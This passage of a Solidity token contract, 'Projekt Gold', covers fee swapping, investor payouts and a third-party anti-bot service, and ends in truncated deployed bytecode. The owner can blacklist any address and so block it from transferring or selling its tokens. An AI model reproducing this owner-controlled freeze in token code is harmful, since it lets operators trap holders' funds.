uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function blackList(address _address, address _origin) external; //Do not copy this, only callable by original contract. Tx will fail
function registerBlock(address _recipient, address _sender) external;
}
contract ProjektGold is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant TOTAL_SUPPLY = 100000000000000 * 10**9;
string private m_Name = "Projekt Gold";
string private m_Symbol = unicode'GOLD 🟡';
uint8 private m_Decimals = 9;
uint256 private m_BanCount = 0;
uint256 private m_TxLimit = 500000000000 * 10**9;
uint256 private m_SafeTxLimit = m_TxLimit;
uint256 private m_WalletLimit = m_SafeTxLimit.mul(4);
uint256 private m_TaxFee;
uint256 private m_MinStake;
uint256 private m_totalEarnings = 0;
uint256 private m_previousBalance = 0;
uint256 [] private m_iBalance;
uint8 private m_DevFee = 5;
uint8 private m_investorCount = 0;
address payable private m_FeeAddress;
address private m_UniswapV2Pair;
bool private m_TradingOpened = false;
bool private m_IsSwap = false;
bool private m_SwapEnabled = false;
bool private m_InvestorsSet = false;
bool private m_OwnerApprove = false;
bool private m_InvestorAApprove = false;
bool private m_InvestorBApprove = false;
mapping (address => bool) private m_Bots;
mapping (address => bool) private m_Staked;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => bool) private m_InvestorController;
mapping (address => uint8) private m_InvestorId;
mapping (address => uint256) private m_Stake;
mapping (address => uint256) private m_Balances;
mapping (address => address payable) private m_InvestorPayout;
mapping (address => mapping (address => uint256)) private m_Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private m_UniswapV2Router;
event MaxOutTxLimit(uint MaxTransaction);
event Staked(bool StakeVerified, uint256 StakeAmount);
event BalanceOfInvestor(uint256 CurrentETHBalance);
event BanAddress(address Address, address Origin);
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
modifier onlyInvestor {
require(m_InvestorController[_msgSender()] == true, "Not an Investor");
_;
}
receive() external payable {
m_Stake[msg.sender] += msg.value;
}
constructor () {
FTPAntiBot _antiBot = FTPAntiBot(0x88C4dEDd24DC99f5C9b308aC25DA34889A5073Ab);
AntiBot = _antiBot;
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToTax(address _sender) private view returns(bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled;
}
function _pleb(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && m_TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns(bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns(bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint8 _fee = _setFee(_sender, _recipient);
uint256 _feeAmount = _amount.div(100).mul(_fee);
uint256 _newAmount = _amount.sub(_feeAmount);
_checkBot(_recipient, _sender, tx.origin); //calls AntiBot for results
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit);
if(_senderNotUni(_sender))
require(!m_Bots[_sender]); // Local logic for banning based on AntiBot results
if (_pleb(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient))
require(_amount <= m_TxLimit);
_tax(_sender);
}
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_feeAmount);
emit Transfer(_sender, _recipient, _newAmount);
AntiBot.registerBlock(_sender, _recipient); //Tells AntiBot to start watching
}
function _checkBot(address _recipient, address _sender, address _origin) private {
if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){
bool recipientAddress = AntiBot.scanAddress(_recipient, m_UniswapV2Pair, _origin); // Get AntiBot result
bool senderAddress = AntiBot.scanAddress(_sender, m_UniswapV2Pair, _origin); // Get AntiBot result
if(recipientAddress){
_banSeller(_recipient);
_banSeller(_origin);
AntiBot.blackList(_recipient, _origin); //Do not copy this, only callable by original contract. Tx will fail
emit BanAddress(_recipient, _origin);
}
if(senderAddress){
_banSeller(_sender);
_banSeller(_origin);
AntiBot.blackList(_sender, _origin); //Do not copy this, only callable by original contract. Tx will fail
emit BanAddress(_sender, _origin);
}
}
}
function _banSeller(address _address) private {
if(!m_Bots[_address])
m_BanCount += 1;
m_Bots[_address] = true;
}
function _setFee(address _sender, address _recipient) private returns(uint8){
bool _takeFee = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeFee)
m_DevFee = 0;
if(_takeFee)
m_DevFee = 5;
return m_DevFee;
}
function _tax(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
if (_readyToTax(_sender)) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _disperseEth() private {
uint256 _earnings = m_Stake[address(m_UniswapV2Router)].sub(m_previousBalance);
uint256 _investorShare = _earnings.div(5).mul(3);
uint256 _devShare;
if(m_InvestorsSet)
_devShare = _earnings.sub(_investorShare);
else {
m_iBalance = [0, 0];
_investorShare = 0;
_devShare = _earnings;
}
m_previousBalance = m_Stake[address(m_UniswapV2Router)];
m_iBalance[0] += _investorShare.div(2);
m_iBalance[1] += _investorShare.div(2);
m_FeeAddress.transfer(_devShare);
}
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return m_BanCount;
}
function investorBalance(address payable _address) external view returns (uint256) {
uint256 _balance = m_iBalance[m_InvestorId[_address]].div(10**13);
return _balance;
}
function totalEarnings() external view returns (uint256) {
return m_Stake[address(m_UniswapV2Router)];
}
function checkIfBanned(address _address) external view returns (bool) { //Tool for traders to verify ban status
bool _banBool = false;
if(m_Bots[_address])
_banBool = true;
return _banBool;
}
// #########################
// ##### ONLY INVESTOR #####
// #########################
function setPayoutAddress(address payable _payoutAddress) external onlyInvestor {
require(m_Staked[_msgSender()] == true, "Please stake first");
m_InvestorController[_payoutAddress] = true;
m_InvestorPayout[_msgSender()] = _payoutAddress;
m_InvestorId[_payoutAddress] = m_investorCount;
m_investorCount += 1;
}
function investorWithdraw() external onlyInvestor {
m_InvestorPayout[_msgSender()].transfer(m_iBalance[m_InvestorId[_msgSender()]]);
m_iBalance[m_InvestorId[_msgSender()]] -= m_iBalance[m_InvestorId[_msgSender()]];
}
function verifyStake() external onlyInvestor {
require(!m_Staked[_msgSender()], "Already verified");
if(m_Stake[_msgSender()] >= m_MinStake){
m_Staked[_msgSender()] = true;
emit Staked (m_Staked[_msgSender()], m_Stake[_msgSender()]);
}
else
emit Staked (m_Staked[_msgSender()], m_Stake[_msgSender()]);
}
function investorAuthorize() external onlyInvestor {
if(m_InvestorId[_msgSender()] == 0)
m_InvestorAApprove = true;
if(m_InvestorId[_msgSender()] == 1)
m_InvestorBApprove = true;
}
function emergencyWithdraw() external onlyInvestor {
require(m_InvestorAApprove && m_InvestorBApprove && m_TradingOpened, "All parties must consent");
m_InvestorPayout[_msgSender()].transfer(address(this).balance);
m_InvestorAApprove = false;
m_InvestorBApprove = false;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!m_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
m_SwapEnabled = true;
m_TradingOpened = true;
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
}
function setTxLimitMax() external onlyOwner() {
m_TxLimit = m_WalletLimit;
m_SafeTxLimit = m_WalletLimit;
emit MaxOutTxLimit(m_TxLimit);
}
function manualBan(address _a) external onlyOwner() {
_banSeller(_a);
}
function removeBan(address _a) external onlyOwner() {
m_Bots[_a] = false;
m_BanCount -= 1;
}
function contractBalance() external view onlyOwner() returns (uint256) {
return address(this).balance;
}
function setFeeAddress(address payable _feeAddress) external onlyOwner() {
m_FeeAddress = _feeAddress;
m_ExcludedAddresses[_feeAddress] = true;
}
function setInvestors(address _investorAddressA, address _investorAddressB, uint256 _minStake) external onlyOwner() {
require(!m_InvestorsSet, "Already declared investors");
m_InvestorController[_investorAddressA] = true;
m_InvestorController[_investorAddressB] = true;
m_iBalance = [0, 0, 0, 0, 0, 0];
m_Staked[_investorAddressA] = false;
m_Staked[_investorAddressB] = false;
m_MinStake = _minStake;
m_InvestorsSet = true;
}
function assignAntiBot(address _address) external onlyOwner() { // Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates
FTPAntiBot _antiBot = FTPAntiBot(_address); // Creating a function to toggle AntiBot is a good design practice as well
AntiBot = _antiBot;
}
}
|
0x6080604052600436106101a05760003560e01c8063700542ec116100ec578063ba8bfd831161008a578063dd62ed3e11610064578063dd62ed3e146105ef578063e8078d941461062c578063fa2b200914610643578063fc5f773f1461066e576101fd565b8063ba8bfd83146105aa578063c735f3c9146105c1578063db2e21bc146105d8576101fd565b80638b7afe2e116100c65780638b7afe2e146104ec5780638da5cb5b1461051757806395d89b4114610542578063a9059cbb1461056d576101fd565b8063700542ec1461044957806370a08231146104865780638705fcd4146104c3576101fd565b8063313ce567116101595780633908cfd2116101335780633908cfd2146103b75780636091d72f146103e0578063617dabb3146103f757806362caa70414610420576101fd565b8063313ce56714610326578063339416811461035157806333ea51a81461038e576101fd565b806306fdde0314610202578063095ea7b31461022d57806318160ddd1461026a578063228e7a911461029557806323b872dd146102be5780632df3eba4146102fb576101fd565b366101fd5734601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546101f49190614ac8565b92505081905550005b600080fd5b34801561020e57600080fd5b50610217610685565b6040516102249190614801565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f9190614311565b610717565b60405161026191906147bd565b60405180910390f35b34801561027657600080fd5b5061027f610735565b60405161028c91906149e3565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b7919061420b565b610747565b005b3480156102ca57600080fd5b506102e560048036038101906102e091906142c2565b610847565b6040516102f291906147bd565b60405180910390f35b34801561030757600080fd5b50610310610920565b60405161031d91906149e3565b60405180910390f35b34801561033257600080fd5b5061033b610989565b6040516103489190614a58565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061425d565b6109a0565b60405161038591906149e3565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b0919061425d565b610a5a565b005b3480156103c357600080fd5b506103de60048036038101906103d9919061420b565b610d0c565b005b3480156103ec57600080fd5b506103f5610e75565b005b34801561040357600080fd5b5061041e600480360381019061041991906142c2565b6111fd565b005b34801561042c57600080fd5b506104476004803603810190610442919061420b565b61151e565b005b34801561045557600080fd5b50610470600480360381019061046b919061420b565b61165c565b60405161047d91906147bd565b60405180910390f35b34801561049257600080fd5b506104ad60048036038101906104a8919061420b565b6116c3565b6040516104ba91906149e3565b60405180910390f35b3480156104cf57600080fd5b506104ea60048036038101906104e5919061425d565b61170c565b005b3480156104f857600080fd5b5061050161189c565b60405161050e91906149e3565b60405180910390f35b34801561052357600080fd5b5061052c611998565b60405161053991906146b8565b60405180910390f35b34801561054e57600080fd5b506105576119c1565b6040516105649190614801565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f9190614311565b611a53565b6040516105a191906147bd565b60405180910390f35b3480156105b657600080fd5b506105bf611a71565b005b3480156105cd57600080fd5b506105d6611d9f565b005b3480156105e457600080fd5b506105ed611ee0565b005b3480156105fb57600080fd5b5061061660048036038101906106119190614286565b6120de565b60405161062391906149e3565b60405180910390f35b34801561063857600080fd5b50610641612165565b005b34801561064f57600080fd5b506106586126f7565b60405161066591906149e3565b60405180910390f35b34801561067a57600080fd5b50610683612701565b005b60606002805461069490614cc0565b80601f01602080910402602001604051908101604052809291908181526020018280546106c090614cc0565b801561070d5780601f106106e25761010080835404028352916020019161070d565b820191906000526020600020905b8154815290600101906020018083116106f057829003601f168201915b5050505050905090565b600061072b61072461290e565b8484612916565b6001905092915050565b600069152d02c7e14af6800000905090565b61074f61290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806107fc57506107ab61290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61083b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610832906148e3565b60405180910390fd5b61084481612ae1565b50565b6000610854848484612ba8565b6109158461086061290e565b6109108560405180606001604052806028815260200161510f60289139601860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c661290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130a69092919063ffffffff16565b612916565b600190509392505050565b600060156000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600460009054906101000a900460ff16905090565b600080610a4f6509184e72a000600d601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1681548110610a36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015461310a90919063ffffffff16565b905080915050919050565b6001151560136000610a6a61290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb906149a3565b60405180910390fd5b6001151560116000610b0461290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b85906149c3565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508060176000610bf361290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60019054906101000a900460ff16601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506001600e60018282829054906101000a900460ff16610cf19190614b1e565b92506101000a81548160ff021916908360ff16021790555050565b610d1461290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610dc15750610d7061290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df7906148e3565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000828254610e6b9190614be0565b9250508190555050565b6001151560136000610e8561290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f06906149a3565b60405180910390fd5b60116000610f1b61290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9a90614883565b60405180910390fd5b600a5460156000610fb261290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106111285760016011600061100061290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f5d39a2bce71c25746fa95db5287056eadf5402ed2911a7b00a0c9282242a86ba6011600061107e61290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601560006110d261290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161111b9291906147d8565b60405180910390a16111fb565b7f5d39a2bce71c25746fa95db5287056eadf5402ed2911a7b00a0c9282242a86ba6011600061115561290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601560006111a961290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516111f29291906147d8565b60405180910390a15b565b61120561290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806112b2575061126161290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e8906148e3565b60405180910390fd5b600f60179054906101000a900460ff1615611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614923565b60405180910390fd5b6001601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060c00160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff16815250600d9060066114469291906140cc565b506000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a819055506001600f60176101000a81548160ff021916908315150217905550505050565b61152661290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806115d3575061158261290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611609906148e3565b60405180910390fd5b600081905080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060009050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ba57600190505b80915050919050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61171461290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117c1575061177061290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906148e3565b60405180910390fd5b80600e60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006118a661290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611953575061190261290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611992576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611989906148e3565b60405180910390fd5b47905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546119d090614cc0565b80601f01602080910402602001604051908101604052809291908181526020018280546119fc90614cc0565b8015611a495780601f10611a1e57610100808354040283529160200191611a49565b820191906000526020600020905b815481529060010190602001808311611a2c57829003601f168201915b5050505050905090565b6000611a67611a6061290e565b8484612ba8565b6001905092915050565b6001151560136000611a8161290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b02906149a3565b60405180910390fd5b60176000611b1761290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d60146000611b9961290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1681548110611c1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549081150290604051600060405180830381858888f19350505050158015611c51573d6000803e3d6000fd5b50600d60146000611c6061290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1681548110611ce2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154600d60146000611cfb61290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1681548110611d7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020016000828254611d969190614be0565b92505081905550565b611da761290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611e545750611e0361290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a906148e3565b60405180910390fd5b6008546006819055506008546007819055507f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc600654604051611ed691906149e3565b60405180910390a1565b6001151560136000611ef061290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f71906149a3565b60405180910390fd5b600f60199054906101000a900460ff168015611fa25750600f601a9054906101000a900460ff165b8015611fba5750600f60149054906101000a900460ff165b611ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff0906148c3565b60405180910390fd5b6017600061200561290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156120a5573d6000803e3d6000fd5b506000600f60196101000a81548160ff0219169083151502179055506000600f601a6101000a81548160ff021916908315150217905550565b6000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61216d61290e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061221a57506121c961290e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612250906148e3565b60405180910390fd5b600f60149054906101000a900460ff16156122a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a090614983565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061233a30601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000612916565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561238057600080fd5b505afa158015612394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b89190614234565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561241a57600080fd5b505afa15801561242e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124529190614234565b6040518363ffffffff1660e01b815260040161246f9291906146d3565b602060405180830381600087803b15801561248957600080fd5b505af115801561249d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124c19190614234565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061254a306116c3565b600080612555611998565b426040518863ffffffff1660e01b81526004016125779695949392919061475c565b6060604051808303818588803b15801561259057600080fd5b505af11580156125a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125c99190614376565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016126a1929190614733565b602060405180830381600087803b1580156126bb57600080fd5b505af11580156126cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f3919061434d565b5050565b6000600554905090565b600115156013600061271161290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461279b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612792906149a3565b60405180910390fd5b6000601460006127a961290e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415612816576001600f60196101000a81548160